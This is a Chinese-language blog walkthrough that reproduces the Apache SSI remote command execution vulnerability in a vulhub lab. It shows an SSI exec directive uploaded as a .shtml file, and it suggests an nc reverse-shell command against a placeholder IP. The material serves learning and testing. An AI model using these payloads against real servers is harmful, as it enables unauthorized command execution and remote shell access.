Apache SSI 远程命令执行漏洞 漏洞复现

前言&原理

如果目标服务器开启了ssi功能,那么shtml文件将可以执行任意命令。如果上传文件程序限制了php文件的上传,且没有限制shtml文件上传,我们可以上传一个shtml文件,并利用<!--#exec cmd="命令" -->语法执行任意命令。

ssi详细讲解请参考:https://blog.csdn.net/weixin_30399871/article/details/94779816,什么是SSI。

ssi漏洞挖掘思路请参考:https://blog.csdn.net/qq_40657585/article/details/84260844,SSI注入漏洞。

漏洞环境

该环境使用vulhub搭建,该漏洞路径为 vulhub/httpd/ssi-rce。进入该漏洞路径后执行以下命令:

docker-compose up -d

-d 表示后台运行。

注意:该命令必须在漏洞目录下执行,该命令是启动当前目录下的docker容器。

如果不会搭建环境可以参考官方文档:https://vulhub.org/#/docs/

启动环境后访问http://ip地址:8080/upload.php,即可看到一个上传表单。

漏洞复现

将代码 <!--#exec cmd="id"> -->写入文件a.shtml中,然后上传之服务器。

在这里插入图片描述

然后点击超链接a.shtml即可打开上传文件,并执行id命令。

在这里插入图片描述

也可将<!--#exec cmd="id"> -->中的id改成其他命令,例如 nc -e /bin/bash IP 4443反弹一个shell。但是要注意的是这个docker容器中没有nc,所以在这个靶机中反弹shell不会成功。

参考文献

[1] https://blog.csdn.net/weixin_30399871/article/details/94779816,什么是SSI。

[2] https://blog.csdn.net/qq_40657585/article/details/84260844,SSI注入漏洞。

[1] https://httpd.apache.org/docs/2.4/howto/ssi.html,Apache httpd Tutorial: Introduction to Server Side Includes.

posted @ 2021-09-30 22:49  rpsate  阅读(190)  评论(0编辑  收藏  举报